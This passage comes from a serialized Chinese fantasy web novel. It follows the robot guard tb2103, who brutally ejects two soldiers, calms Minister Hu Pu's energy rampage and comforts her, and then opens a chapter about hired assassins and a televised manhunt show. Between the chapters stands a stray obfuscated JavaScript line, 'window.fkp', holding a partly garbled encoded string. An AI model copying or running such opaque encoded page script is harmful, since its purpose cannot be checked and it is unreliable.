之后,法戈·明(真身)找来一个椅子,坐下跟店内的三个和自己的替身讲述事情的经过。而且还解答了店内三人的种种问题。做完这一切之后,他给每个人都安排了下任务,然后他就离开店,去找杨三刀下棋去了。看着他离去的背影,店内的三人的眼神之中多了几分尊敬。不仅仅因为他是他们尊贵的老板,还因为他是个活了五千年的老仙人。 与此同时...... 胡普正在做着分内的工作。作为殇王国国家政府的人文部部长兼右中指,她每天要为了那些为了政府所工作的人忙来忙去的。又是处理人员之间的矛盾,又是处理皇家工作人员的福利问题,她忙得都焦头烂额了。但她从未说过一个累字,也没向任何人吐露过自己的辛苦。即使有别人问道,她也从不说自己的苦与累。 这时,有两个皇家士兵推门走了进来。这两个皇家士兵想要撤离城堡,想要辞职,于是前来找她商议此事。可是殇国王已经在休眠前下令不准任何有实职人员离开城堡了,因此他们两个的请求被她拒绝了。听到她的拒绝,他们并没有离开,而是与她讲道理,反复强调自己“多么”想要离开,家里“多么”需要自己。见到对方与自己讲道理,她没有赶走对方,也跟他们讲起了道理。 胡普: “(心诚地劝)我知道你们家里有情况,可是殿下已经下令了,不准任何有实权的人离开。如果离开的话......会被阳姐斩首的。” 士兵甲: “可你明明有权力让我们离开!我们家里真的需要我们,我们得马上赶回去!帮帮忙吧,右中指。” 胡普: “(摇摇头)抱歉,这种事我真的帮不了你们。你们要是想家了......可以给家人发信息,也可以寄封信什么的......” 士兵乙: “你不是想让我们好吗?那就让我们离开啊!我们已经受够这里了,我们要回去!” 士兵甲: “你要是真的想让我们好,那就让我们离开。我相信你是真心实意的,你绝对不是个虚伪的人。” 胡普的头开始疼起来,她一只手捂着自己的头,咬牙忍着头痛。她的记忆深处出现了破碎的镜子与无尽的深渊,深渊之中是另一个她。 胡普: “(忍着痛)不行,你们不能离开。这是原则问题,我不能做出任何让步。我不能违法殿下的意愿......” 士兵乙: “为什么?!那个老东西已经睡死过去了!你就放我们出去也没事的。你难道还怕一个死人吗?” 士兵甲: “看来你对我们的善都是建立在那个老东西身上,根本不是出自内心的善意。你真是太让我们失望了!你可真是虚伪啊!” 胡普: “(伤心)你们不能诋毁殿下!我真的是真心实意为你们好!我为你们争取了各种福利......我为你们争取到了各种补助......我还为你们隐藏了许多罪名......” 那两个士兵此时发出了轻蔑的笑声。这轻蔑的笑声让胡普的内心收到了严重的伤害,一阵寒意笼罩在了她的心中。 士兵乙: “啊?你不会以为那个老东西还顶用吧。要不是左无名指在,这个国家早就解体了!你还觉得那个老东西强啊?真是可笑......” 士兵甲: “别故作辛勤了,你的努力也就那些。什么象征一个国家的脸面,什么象征一个国家的胸怀,都是骗人的。你最好放我们走,体现体现这个国家广阔的胸襟,啊?” 镇定剂的效果逐渐失效,胡普的情绪开始不稳定。她的全身都在颤抖,她的表情逐渐变得愤怒。她咬着牙,握紧拳头,汹涌澎湃的核心能量正在快速生成。不一会,她的身上就散发出了血色的气息。她善良的人格在与她邪恶的人格做着较量,她在努力控制住自己,不让自己失控。 胡普心里: “不,胡普。控制住自己,不要再失控了!相信,要相信。他们只是说说,并非是真心那么想的!他们......他们只是想气气我罢了,不是真的那么想的。他们......他们是有善良的一面的。不能光看他们坏的那一面就否定他们......相信......相信他们......相信......他们?” 在门口拖地拖了许久的保安tb2103已经注视许久了,他扫描了下胡普,发现胡普的情绪正逐渐走向极端。此刻,他再也不坐视不管了。他放下拖把,对那两个皇家士兵喊道: “你们两个已经触及到了管理条款第213条,请立即主动去惩戒部寻求惩戒。若不然,我有权利可以启动强制执行。” 那两个皇家士兵转身来了过来,他们两个丝毫没有把tb2103放在眼里。其中一个士兵用轻蔑的语气质问tb2103: “你这个破机器人少管闲事,小心我以处决逆贼为理由杀了你!” 这时,胡普对tb2103吩咐道: “让他们两个离开!” 胡普说出这话的时候已经是低着头,闭着眼,咬牙忍受头痛与心痛的状态了。这两个士兵看了看胡普,又看了看tb2103,然后不满意地吧唧了几下嘴,其中一人吐槽道: “操!这里可真是够烂的!” 说完,就要离开。就在这时,tb2103挡在了他们身前。 士兵甲: “喂!怎么,还不让人走了是吗?” tb2103的眼睛变成了红色,他背后的散热板展开了一小部分。看着他们,tb2103冷冷地说道: “你们走着进来,在这里欺负我们的部长,气势凌人,你认为你有权利再走着出去?” 士兵乙: “诶呀!怎么了这是,真想造反是不?那你说,我们怎么出去?” tb2103一脸严肃地告诉他们: “你应该以爬行动物的姿势出去。” 这两个士兵被他给激怒了,刚想说些什么,tb2103瞬间抓住其中一人的衣领,然后一个转身把他按在地上。tb2103换手抓住他的头,然后像推冰球一样用力给他直接推出了人文部。顿时间,地面上留下了一行长长的血迹。tb2103看向那个还站着的士兵,冷冷地问他: “用我帮你一把吗?” 那个士兵咬咬牙,犹豫了一下,见到他犹豫,tb2103立马提起了拳头,准备去抓他的衣领。这给他吓坏了,他想了想,然后当众趴着爬出了人文部。就在他起身准备逃跑的时候,惩戒部的惩戒者513拦住了他。见到对方的身份,他瞬间就意识到自己活不长了。 惩戒者513: “这位士兵,你已经违反了我们皇室的规矩。你涉嫌侮辱我们的国王,请跟我走一趟。还有你旁边那个趴在地上的,也跟你犯了同样的罪。他也得跟我走一趟。” 这位士兵无奈地举起双手,表示投降后,跟着惩戒者513前往了惩戒部,准备迎接接下来的处决。在看到这两人都收到应有的惩罚之后,tb2103的双眼重新变回了原来的样子。这时他看胡普,发现胡普的表情憔悴了许多。他看到后表情没有发生什么改变,只是劝胡普两句: “部长。不要为了那两个不懂规则的家伙而感到难过。根据管理条款第121条所说,任何违反殇国王意志的都是逆贼。” 听到他说的话,胡普心情复杂地点了点头。tb2103转过身去,去拿起拖把,然后将人文部给拖了个干净。干完活,高危能量检测装置检测到了一股强大的能量在他的背后。他猛地回头,发现胡普的身上冒出了血色的薄雾,同时发现胡普此时的表情很是愤怒与痛苦。 核心: “警告!核心能量控制系统出错!核心能量超出控制范围!请周围非战斗人员立即撤离!请专业的核心使者前来抑制核心暴走!” 胡普突然站起身来,慢慢走到了办公室的中央。她的周围出现了黑色未知物质,这些物质正在聚合成一把把的血色利刃。压迫感袭来,tb2103感觉到了情况有些不乐观。血色的薄雾透过她办公室的门,向整个人文部扩散。见到这血色的薄雾,工作人员瞬间明白是部长出现了暴走情况,赶忙就跑出了人文部。胡普慢慢抬起手,一把锋利的血之刃出现在她的手中。胡普的嘴角慢慢上扬,露出一抹邪恶且阴森的笑容。面对这样的胡普,tb2103丝毫没有慌张。他扫描了下胡普的状态,发觉她体内的异常能量过多,导致了她现在的暴走。于是乎,他找到了最佳的处理方案,那就是将这股能量以另一种方式从她体内转移出去。 胡普阴笑着,那笑容让人不禁冷汗直流,但tb2103无所畏惧。胡普对面前的tb2103冷冷地说道: “你也跟他们一样吗?我所付出的......我所为之努力的......你们就真的看不到吗?!既然你们不愿意接受好意,那么我就用最大的恶意来去满足你们的内心。死亡......你们必须死亡!” 听到胡普这么说,tb2103无所动容。他打开背部散热板,激活体内的战斗系统。嘶的一声,几团蒸汽从他本部的散热孔中喷出。两人没有过多的交流,直接开始了战斗。 胡普的身手十分敏捷,移动速度极快,攻击手段极其残忍,且变化多端。飞剑、回旋斩、血气连环斩、绕体切割、连环绕后背刺以及最后的刀锋地狱(制造大量的刀锋形成大规模剑雨)都是她的战斗技巧。而tb2103这边,却没几种招式。特殊的也就力场格挡和电磁冲击拳。 在两人的交战过程中,tb2103一直在寻找可以抓住她的机会,他要用手中的能量汲取器将她体内的能量给转移出来。tb2103几乎全程都在防御与招架,基本没出手几次。而胡普这边,她一直在用致命攻击,一直在寻找杀死tb2103的机会。可奈何tb2103的身法与速度远超于她,她根本找不到机会去完成击杀。 最终,tb2103抓住了一个合适的时机,以硬抗她一刀为代价抓住了她的脖子,然后猛地将能量全部转移到自己身上。一下子失去了核心能量支持的她,立马就失去了战斗欲望,同时解除了血色薄雾的存在。tb2103将这股能量以内部高频生成超高分辨率图形以及散热的方式给全部消耗干净。做完这些,tb2103将胡普轻轻地放下,然后关闭散热,解除战斗模式。 在被放下后,胡普伤心地看了看被自己毁坏的办公室,陷入了深深的自责与懊悔。她看着面前为了镇压自己暴走而受伤了的tb2103,心中的愧疚更加深重了。她迷茫地看了看周围,感觉世界在天旋地转般一样。有一刻,她觉得似乎这世界上每一个事物都在看着她,都在谴责她的罪行。她想说些什么,可又说不出来。罪恶感让她快要窒息,心中的矛盾正在消磨她的意志,如碎片般的往日回忆正让她的心在不停地滴血。胡普的精神濒临崩溃,她一下子跪倒在地上,低着头问自己: “我到底做了什么......我是真的为他们好吗?我是真正善良的人吗?是我在自己骗自己?还是我本身就是恶呢?” tb2103听她这么说,慢慢地走到了她的身前,然后俯下身去,直视她的眼睛。见到tb2103的眼神,她不敢去看,那种负罪感会让她感觉到心痛。tb2103试着对她笑,但他不会笑,只能微微抬起嘴角。tb2103告诉胡普: “人文部部长。在这里当保安的这几天,我能看出你是个心地善良的女性人类。只不过你所做的并不被别人看好罢了。你之所以能够为此伤心何愤怒,无非就是因为你的好意没有被他们接受,反而成了理所应当。” 胡普抬起头,一脸失落与愧疚地看着tb2103。她的表情很是憔悴,眼神比之更加憔悴。胡普十分愧疚地对tb2103说: “tb......我没你想的那么好。你看我就跟个不懂事的孩子似的,一点小事就闹脾气,一闹脾气就走极端......我就是个混蛋!” tb2103将手搭在胡普的肩上,坦然地告诉她: “据我所储存的信息进行计算可知,你的行为完全取决于你所收获的与你所付出的之间的比的比值大小。所以你的情绪不稳定,只是这个不可控因素在作祟。经过我的计算,你需要引入一个新的计算量x才能让你以后不会出现这种情况。那个x是一个人的帮助、鼓励、倾听和劝导。” 胡普十分绝望地告诉tb2103: “可谁能够成为这个x呢?阳姐很忙,紫妈更忙,罗叔叔就不用说了,全王国上下最忙的人!” “根据计算推导,你找一个机器人会比找一个人要好。” “你的意思是......” “我来当那个x吧!向一个物件倾诉总比向一个人倾诉要好开口,因为人是复杂的,物件是简单的。” tb2103拍了拍胸脯,告诉绝望的胡普。听到他那么说,胡普有些感动。虽然tb2103是个机器人,但他此时说出的话温暖到了胡普寒冷的内心。胡普有些担心地问tb2103: “你说真的?你不会把我跟你说的东西告诉别人吧......” tb2103摇摇头,告诉她: “我的答案是不。你可以信任我的,胡普小姐。” 这时,阳领着一群皇家士兵推开办公室的门,走了进来。见到屋内的一片狼藉,她们没有见怪;但见到此时已经解除暴走状态的胡普时,她们大吃一惊。她们看向一旁的tb2103,似乎明白了什么。 阳: “看样子......有人能比我们更先处理胡普的核心暴走问题。干得好!tb2103。” 胡普: “(愧疚)阳姐,你来啦......” 阳: “(皱眉)对,我来了。紫妈在忙,我来处理你这事。” 胡普: “(愧疚)给你们添麻烦了......我用再去一遍医疗部吗?” 阳: “(微笑)依我看,好像是不用。你的精神状态比那时要好。” 胡普: “(愧疚)这次我干了这些坏事......我该受什么惩罚呢?” 阳: “(思考)按照王国上下的规定......” tb2103: “(突然打断)应该按照原物件的1.35倍赔偿损失。如有情况严重,可以通过上报左中指来进行进一步的惩戒。如有态度真诚、主动赔偿等情况,可以适当减轻惩罚。” 胡普转头看向tb2103,眼神中有着些许疑惑。听到tb2103这么说,阳显得有些尴尬。她抿了抿嘴唇,咳嗽两下,继续说道: “就按照tb2103说的来。” 到了晚上...... 在王宫后的空中花园中,tb2103正坐在花园的视野开阔的一角夜观天象。突然,胡普悄悄地来到了他的身旁,悄悄地坐在了他的身边。正执着于观察宇宙的tb2103丝毫没有留意到胡普的到来,胡普见他没发现自己,就坐在他身边等待。一小段时间过去,tb2103还是没发现她。她等得有些着急了,于是就用手轻轻拍了下tb2103。她拍的这一下,瞬间触发了tb2103的紧急战备系统。tb2103瞬间转过头来,嗡的一声,他不靠胡普的那一边的胳膊上出现了一把激光臂刃。见他这架势,给胡普吓了一大跳。胡普赶忙摆摆手,告诉他: “别动手!别动手!tb,是我,胡普。” tb2103快速扫描、检测、确认身份,确定对方是胡普后,他收起了那把激光臂刃,然后问胡普: “哦?你也来看星星了?” 胡普挠挠头,有些不好意思地说: “不是的。你不是说要给我引入个计算量x吗?” “哦。我没忘。那我知道你的来意了。你说吧,我听着。” “这么......直接吗?” “啊?你难道还要酝酿一会吗?” “不不不......我们还可以多聊几句的。” “哦。好吧,抱歉。我的处理器过快了,飞跃性计算有时不是件好事。想聊什么,说吧。” 胡普想了想,没有什么她想聊的,但她又想聊。于是乎,她只能尬聊了。 “上午你做的那些......好残忍的。那么对待我们的士兵,是不道德的行为。可不过......还是谢谢你为了我那么做。” “嗯哼?” “难道不是吗?” “严格意义上来说,是。非严格意义上,也是。你是人文部的一部分,为你而做等于为人文部而做,为人文部而做等于为你而做,两者是相互的。” “哦......我上午砍你的那一刀......还疼吗?” “额......我是个机器人,感受不到痛觉。但从我的受伤结果分析来看,那一刀还是疼的。” “哦......你刚刚在干什么?能告诉我吗?” “我刚刚在看星星。——我隐隐地觉得,小行星带很快就会回到这个世界了!” “小行星带?那不是在外太空才有的东西吗?” “那倒不一定。因为在我残缺的记忆之中,我所见到的地表之上的天空之中,有着许多颗悬浮在大气层之上的小行星,还有的靠近了地表但没有坠下。” “那一定是梦幻般的场景吧!” “对啊。不仅梦幻,还很玄幻。” 这时,胡普想到了一个很特殊的问题。回想tb2103曾说自己富有智慧与情感,她就想考验考验他。问这个问题前,胡普酝酿了下情绪,思考了下接下来会出现的各种情况。她酝酿片刻,问tb2103: “tb,你曾说你有情感。那么,你会关心人吗?” 说这句话的时候,胡普有些脸红,似乎她把tb2103当成了一个活生生的人。tb2103脑袋转了过来,有些尴尬地看着胡普。他的处理器快速运算了下,发现答案有些不妙。他故作镇定地回答道: “会。你说吧,你想要那种关心?” 胡普托起下巴斟酌片刻,然后说道: “如果我说我饿了,你会怎么做呢?” “嗯?饿了......好说,你等一下哈。” tb2103站起身来,提高体内反应堆的功率,接着下压身体,往后慢慢倒退几步。短暂的准备之后,他化作一道黄色的闪电,在路上穿梭。看到此种景象后,胡普被深深地惊艳到了。她不禁感叹道: “哇嗷!原来tb这么厉害的吗?” 过了一会,那道闪电再次出现在胡普的眼前。那道闪电瞬间在胡普前方七八米处消失,然后tb2103的身影出现。tb2103拿着一个三明治,快步走向胡普,然后将手中的三明治递给了胡普。胡普见到这个三明治后,有些感动,她没想到tb2103这么做只为了给她拿个三明治。虽然胡普不怎么饿,但她怕伤了tb2103的心,于是她就拿着这个三明治吃了起来。tb2103重新做回原来的位置,转过头来,对她说: “根据我的计算,这个三明治可以快速补充你每日所需的营养元素。如果你没有挑食的毛病,这将是你最佳选择之一。” 胡普点了点头,对着他竖起大拇指;接着咽下嘴里的食物,说道: “棒棒的!你这搭配的很好吃呢。” 受到夸奖,tb2103灵性地点了点头,并自豪地说道: “我体内的智慧是一本百科全书。” 胡普点了点头,说道: “要是我也能像你一样就好了。” 吃完三明治,胡普优雅地拿出手绢擦了擦手。然后,她好奇地问道: “那我如果说我冷了呢?” tb2103很轻松地回答她: “冷了,好说!来,看好。” tb2103张开左手,然后将左手移到胡普身前,手心向上。刷的一下,一道一米多高的紫色从他的手心向上喷出。这下不仅仅是不冷了,胡普甚至热得开始流汗了。胡普微笑着告诉tb2103: “tb......你太‘人性化’了......我不冷了,你把火收起来吧。” tb2103熄灭了手心处的烈火,然后将手抽了回去。tb2103对胡普说: “哦。你要是热了我也有办法。” 一听这话,胡普赶忙摆手拒绝。 “不不不!我不热!我们聊些别的吧.....别聊这个话题了。” “好。” “你挺有人性的,tb。说实在的,即使你有这身机械骨,我也把你当成了一个活生生的人。我能看出来,你跟那些机械不同。” “那倒确实。谁叫我是宏辉魔匠制造出来的呢。” “宏辉魔匠?” “夸张的比喻。” “我们聊聊我可以吗?” “行啊!” 然后安静了一段时间,胡普和tb2103谁都没有说话。过了一会,胡普主动先说话了。 “你不想了解了解我吗?不是,嗯......就是......你没什么想问我的吗?关于我这个人。” “额.......我只知道你是个高级蛋白质复合体,身高是172.283米,体重是......” “别说了......我知道你全知全能......” “在你这个方面,我倒真没什么问的。要说我实在是想要知道的......我想知道你为了这里的人付出了多大的辛苦,受了多少苦难。” 听到tb2103这么说,胡普的表情瞬间就凝重起来了。她默默地低下了头,选择了沉默,暂时的。她的脑中浮现起了自己的过去。曾经她为了那些人付出了很多心血,却找来了冷嘲热讽。她的善意,似乎本就应该,那些人多半都不珍视。在背后的辛勤与汗水,似乎也在听到那流言蜚语的时候便没了价值。她相信人生来不坏,只是收到了环境的影响。她相信她的善意能够点燃人们在这末世中的希望,即便这世界已经深陷绝望。她相信终有一天会有人尊重她所做的一切的,会有人能理解她所做的一切的。 tb2103见胡普迟迟不说话,便扫描了她一番,发现她精神状态不佳。接着,他用冰冷但带有一丝温度的声音对她关怀道: “胡普小姐,我检测到你的情绪接近底谷。为了你的身心健康,请不要过度悲伤。如果需要,你可以向我倾诉你所有的苦楚。我虽是钢铁之心,但却能分担你一部分压力。” 胡普抬起头看了看tb2103的脸,然后又低下头去思考。片刻之后,她终于做出了决定。胡普小声对tb2103说: “接下来我所说的一切......对别人保密好吗?” tb2103的眼睛变成了绿色,信誓旦旦地告诉她: “以下内容将会进行加密。除了你以外,无人拥有访问权限。” 接下来,胡普就开始诉说自己心中的苦楚。在她诉说的时候,tb2103一直在扫描周围的生命体,就怕有人听到胡普说的话。tb2103殊不知,他的行为已经引起到了一个特殊存在的注意了。那个存在正在更远的地方监视他的一举一动,同时正在分析他的阵营归属。 胡普边回忆边说: “你知道吗?我每天都要干很多的工作,为了王宫上下的每一个人。我每天总是会用最好的态度去对待每一个人,无论他是来者还是原本就属于这里的人。我这份好意,每个人都能领下。可除了紫妈、阳姐她们,没有几个人能真正心领。——我也开始怀疑我是不是真正的善良了......” “你很辛苦,可你收获的却十分甚微,这就导致了你的情绪不稳定。你有没有想过,善良真的是要回报的吗?” “我想过......所以我才开始怀疑自己。我为那么多人谋福利,甚至不惜再三麻烦紫妈,可他们却用恶意对待我。我所承受的流言蜚语是十个指之中最多的,王宫内外都有骂我的人,而且还不在少数......我很想知道为什么,为什么他们要对我这个对他们最好的人要施加这样的恶意。” “经过计算,也许是你的性格所致。你是十个指里面看着最和善也是性格最善良的那一位,而且你还老实,这就导致他们那些人对这个国家的不满就转移到了你的身上。” “原来是看我好欺负吗......” 胡普的脸阴沉了下来,tb2103见此,将手放在她的肩上,安慰了她几句。听过他的安慰,胡普的情绪稍稍好了一些。接着,她继续说道: “那我该怎么办呢?” “你也许该试着转变下态度?强硬点也许是个好主意。” “不,我做不到那样。如果真的那么做,我的良心会痛的。” “那么你就寻求些帮助。例如找我,我可以像今天那样帮你处理那些闹事的,让他们不再敢欺负你。或是找你信赖的其他人,她们也能为你提供帮助。” “这确实是个好主意......不过你可别像今天那样暴力了!要是你天天那么弄,就没人敢进我们人文部的门了。” “不。根据公理可知,我那么做只会让那些找茬的、来欺负你的人不敢来,而其他正常办事的人还会按往常一样来。只要没犯事,怎会来这里能觉得害怕呢?” “你说得对。可那会耗费你宝贵的时间的。” “没有事,既然我是保安,那么就得好好守护好这里。我不在乎疲累与时间的浪费,只要能履行好我的职责,即便是死亡我也无所畏惧。” 胡普看着tb2103那坚定的眼神,很感动地笑了。胡普眯着眼笑着对tb2103说道: “谢谢你!tb。” “根据协议,我会完成你所吩咐的一切的。” “好。以后你就是我们人文部的守护神了!” “指令接受,胡普小姐。” 之后,他们两个在这里坐了有半个小时,一起聊了很长时间,看了很久的星星。后来因为要处理事物,两人双双离开了这里,回到王宫之中。之后的那些日子,tb2103将担负起更加沉重的保安责任,将那些欺软怕硬之徒给拒之门外。而胡普则是将寻找一些办法,去调和她那颗受伤的心灵,以便于她能更好地为这里的人服务。 ...... 位于(数据删除)基地中。在巨大的荧幕外,一个高大的身影正注视着tb2103的一举一动。除此之外,他同时还在观察殇、伊、摩多、碧蓝苍穹、楚、紫渊、轩、肃清者、流浪商人的实时状态。 Sigma: “maybe my design is too perfect...... Steel heart, human reason. Even move a living human woman. Unexpected, unparalleled beauty.(也许是我的设计过于追求完美......钢铁之心,人之情理。甚至于打动一个活生生的人类女性。出乎意料,无与伦比的美妙。)” 一张疫病扩散图出现在荧幕上。 Sigma: “She and I should pay more attention to soul and spirit in design, which is a serious mistake she and I have made. this mistake let Utopia fall and let the traitor find an opportunity. If the concoction left by her can be used correctly, the farce can e to an end......(我和她在设计上应该更注重于灵魂与精神,这是我和她犯下的一个严重错误。这个错误让乌托邦陨落,让那个叛徒找到了可乘之机。如果她所留下的调和剂能够被正确使用,这场闹剧便可以迎来结束......)” 低沉的嗡嗡声回荡在它的周围,等离子晶体所发出的光芒照亮了了这个房间。它无言地看着荧幕,监视着它所关注的一切事物。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十二话:富人游戏 十几个小时前...... 殇按照往常一样从床上苏醒,然后换上一身自认为帅气的衣服,再然后去卫生间洗漱,最后再吃一顿普普通通的早餐。与以往不同的是,今天他身旁没有伊。吃完早饭,他准备出门去找点活干。就在这时,他的手机突然响了。他拿出手机,看了一眼,发现是个陌生号码。 殇: “(好奇)奇怪?谁会闲的没事给我打电话吗。” 殇拨通了过去。刚接通,对面就传来了对方着急的声音。 “喂喂喂?是殇先生吗?” 听到这声音,殇就知道对方是之前的手下败将凯莉。他寻思着,对方找自己一定是因为枪的事。殇咳嗽两声,然后答应道: “嗯。对,我是。” “殇哥哥,求求你了,把枪还给我好不好。我这边要是再耽搁下去,我们三个可要没命了。” “额......好好说话。” “咳咳。行。” “你得先告诉我一些事情,我才能把枪还给你。” “啊?你是想找我套出情报是吗?那我可不干。” “哦。那我挂了。” “别别别,我告诉你。你想知道什么,我都告诉你。” “你约个地方,我们见面去谈。” “见面吗......行。一会你就去胜利路上的陆吾包子铺与我碰面吧。拜托了,你一定要把枪还给我啊!” “看情况吧......” 殇挂断了电话。他走到沙发前,背起放在沙发上的狙击步枪出了门,向着对方约定的前进。出门前,殇出于对伊的担心,给伊打了个电话。等候片刻,伊接了电话。殇没有过多繁琐的语言,关心了伊几句,又问了一些问题。当听到伊说自己遭到追捕的时候,殇的心顿时就提了起来,同时他更加担心起伊的安全。殇再三叮嘱伊,让她一定要在下班时等到他出现再回家。伊在电话中答应了,并也关心了殇几句。之后,殇挂断电话。 等到了地方,殇就发现凯莉她们三个早早地就在这里等着了。见到殇背着枪来了,凯莉三人没有轻举妄动,只是笑着对他打了打招呼。殇见了,没说什么。殇到了她们那桌,找个空坐下。坐下的瞬间,他一旁的欧文瞬间虎躯一震,然后喝了口豆浆压压惊。殇环视了一圈,发现周围没有能对他构成威胁的刺客,似乎对方就来了三人。确认没有危险后,殇和她们开始谈话。 殇: “就来了三个?” 凯莉: “(点头)对滴,就我们三个。” 殇: “(警惕)看来你们没有要硬抢的意思。” 欧文: “(摇头)不敢,不敢。见识过你的实力,怎敢呢?” 殇: “那倒确实。准备好拿出与我交易的筹码了吗?” 凯莉: “(点头)准备好了。你说吧,你要什么我给你弄。能弄来的肯定给你弄来,弄不来就另说......” 殇: “(摇头)我不要你的东西。我想了解一下你们所谓杀手联盟到底是个什么东西。” 凯莉、韩、欧文三人对视了一眼,她们三人通过眼神交流,将各自的想法告诉对方。最后她们三人一致决定:告诉殇。 韩: “(严肃)既然你问了,那么我们就告诉你吧。” 凯莉: “(郑重)所谓杀手联盟,原来是所有国家都存在的一个民间组织,专门接受各种暗杀委托,通俗来说就是赚黑钱的。但后来在大疫病到来后,它在各方势力的扶持下就成了一个规模巨大的地下协会。这个协会是‘合法’杀手的聚集地,是这个世界上最大的杀手同盟。” 欧文: “(郑重)杀手联盟的创始人一共四位,也就是现在的致命艺术四人组。岚炎、本杰明、夏姬绫、尼古拉斯,是他们响亮的名字。他们是现任的盟主。也是最高等级的杀手:收尾人。” 韩: “(郑重)杀手一共分三个等级。最先是介入人,又称介入者;是杀手的最低等级,也就是我们三个所处于的阶段。接着是调解人,又称调解者;时杀手的中间级,是凯莉她师傅现在的阶段。最后,是收尾人;杀手的最高等级,至尊的荣誉。能成为收尾人的杀手少之又少,世界上现在也才有八位收尾人。” 听完凯莉三人的介绍,殇大致明白了杀手联盟的意义。殇将背上的狙击步枪拿了下来,然后轻轻地放在凯莉面前。边放殇边说: “我一开始就没寻思拿走这东西。为了好好了解一下这个世界的体系,我就只能用这方式找你们套话了。枪,还给你们。” 看到殇把枪放下,凯莉她们三人的脸上洋溢起了快乐的笑容。凯莉将这把狙击步枪拿起,仔细地用手擦了擦它的表面,又欣赏了片刻。这把枪在凯莉眼里依旧是熠熠生辉的样子;只是她一天不见,就觉得这把枪比之前要光鲜亮丽了许多。这时,殇准备起身离开。突然,凯莉叫住了他。 “殇大哥,别走。” 殇一脸疑惑地问凯莉: “怎么?还有什么事吗?” 凯莉有些羞涩,讷讷半晌没说话。殇见了,又准备起身。凯莉见了,赶忙对他说: “等下......大哥,别走着。你能听听我们的故事吗?” “啊?我还赶时间呢。” “别介,大哥。就几分钟,几分钟就说完了。行行好,坐下吧。大不了我们一会给你委托钱。” “啧......行吧。说说看,正好你激起了我的好奇。我也想了解一下能去偷袭我的人究竟是何许人也。” 殇坐下,侧耳倾听凯莉的话。凯莉与她的两个伙伴相互对视了一眼,酝酿了一下情绪,然后开始对殇讲起他们三个人的故事。 凯莉,东玲国本土居民,生于大疫病之后。年轻时她通过自己的努力成功成为了一名介入人,并且成功结交了道友欧文和韩两人。在之后的日子里,她们三人共同创建了一个事务所,叫做凯莉事务所。因为是凯莉是队伍的领导者,所以事务所以她的名字来命名。她们三个人的介入人生涯是非常不顺利,因为技术不娴熟,她们至今没有杀死过一个人。这让她们三个得到了“窝囊废”的名号。为了改变这个名号,她们三个为之努力了三个多月,但依旧没有杀掉她们的任务目标。似乎是上帝跟她们开了个玩笑。这样的她们竟靠着打零工与协助作战一直活到了今天,实属奇迹。 说了这么多,殇也听出了凯莉的意思。殇告诉凯莉: “你们早说啊!想找我帮忙,小事。你们不是想证明自己不是窝囊废吗?我可以帮你。” 凯莉三人一听殇这么爽快地答应了,立马就开心地笑了。但突然,殇提了个条件。殇对她们三人说道: “不过还是有条件的。” 凯莉三人的笑容收起了一半,似乎是担心殇会提出些过分的要求。殇咳嗽两声,告诉她们: “那就是事成之后,好好去练练!你们三个太菜了!” 听到殇这么说,她们三个松了口气。然后她们三个很感激地掉了掉头,异口同声地答应道: “好!” 殇: “(严肃)凯莉,你给我时刻守候在电话旁,别让电话离身。等我那单大的来了,我就给你打打电话。” 凯莉: “(点头)知道了!大哥。” 殇: “(郑重)你们做好点准备什么的,最好是能临阵磨磨枪。我怕到时候情况会有些复杂,你们可能就交代在那里。” 凯莉她们三人异口同声地说: “知道了!” 说完,殇就起身离开。走了没两步,凯莉又叫住了殇。 “等下......” 殇回过头去,问道: “还有什么事吗?” 凯莉拿起桌上的一杯果汁,对着殇说道: “你应该没吃过早饭把......来吃顿包子吧,我请。” 殇笑了一下,摇摇头,告诉她: “不用了,你们吃吧。我还有事要干呢。” 说完,殇就离开了。看着殇的背影,凯莉她们三人很是感激殇。毕竟有个还算可靠的陌生的帮助,她们无论如何都觉得心里温暖。在殇走后,凯莉她们三人拿起果汁,然后笑着碰杯,高兴地说道: “干杯!敬殇大哥和我们即将改变的人生!” ...... 与此同时,一个规模盛大的节目在此刻播出。这个节目是这世界上最有名的节目,常年位居收视率第一,一旦播出,就会有好几百万人同时观看。它名叫:时间流逝中,是门真人秀综艺节目。这个节目的嘉宾是未知的,真人秀每回的持续时间是未知,但挑战是固定的。 此时,在此频道,一个穿着粉色西服,打着蓝色领带的主持人慢慢走上舞台。主持人边走,边拿着麦克风说道: “哈喽!各位观众朋友们,欢迎收看每半月开播一次的《时间流逝中》!我是你们熟悉的主持人‘永不放弃’先生!各位,中午好啊!” 台下的群众演员开始热烈的鼓掌,将综艺节目的氛围营造的足够真实。在热烈的掌声之中,舞台中央慢慢升起一个台子,台子上放着一个平板电脑。他走上前去拿起平板电脑,然后操作几下,点亮了舞台后面的大屏幕。简单几下操作,这个真人秀的规则便整齐地显示在了大屏幕上。 主持人低头看着平板上的字,慢慢念出了这个真人秀的规则。 时间流逝中。具体规则如下: 第一,通过一台聪明的计算机在一万个名字之中抽出一百人来。这抽出的一百人的名字不直接显示出来,而是由漂亮的人工AI小姐露娜去从打印机里取出那一百人的名字。每个人都是一张签子。 第二,若计算机多次判定产生了更多的名字,那些人将作为特使嘉宾参与到这个节目之中。 第三,在所有嘉宾的名字被抽取出来后,不能进行替换,不能冒名顶替。必须是真心实意地参加!所有参加节目的嘉宾不能在节目进行途中进行退出,否则会受到惩罚。 第四,此节目是激烈的猎人追杀节目,全民皆是猎人。在第二轮时间抽取之后,每个嘉宾的挑战时长会和他们的名字一起逐一显示在大屏幕上。在主持人宣布追杀开始的时候,每个嘉宾都拥有半个小时的逃走时间。半个小时后,追杀开始。每个嘉宾所抽到的挑战时间有多少,就决定他们要逃亡有多久。如果杀死了这些嘉宾,可以活得一笔不小的赏金。 第五,观众可以在官方App上对这会悬赏的这一百人进行投票,票数越多,悬赏价格就越高。对于人气高的目标,节目制作组会将它套上高级显示,以便于其他目标分隔开来。 第六,这场真人秀会一直持续到最后一个人被杀死或者完成挑战。期间都市之眼们会一直监视那些被悬赏的人,保证节目精彩不断。都市之眼不可以参加这个节目,他们只能去监视那些人。 念完规则,这档真人秀节目就拉开了序幕。 计算机在高速运转,那一百人的名字很快就出来了。这个过程就像是阎王去查人的阳寿,查到阳寿已尽的就派出牛头马面和黑白无常去收魂。 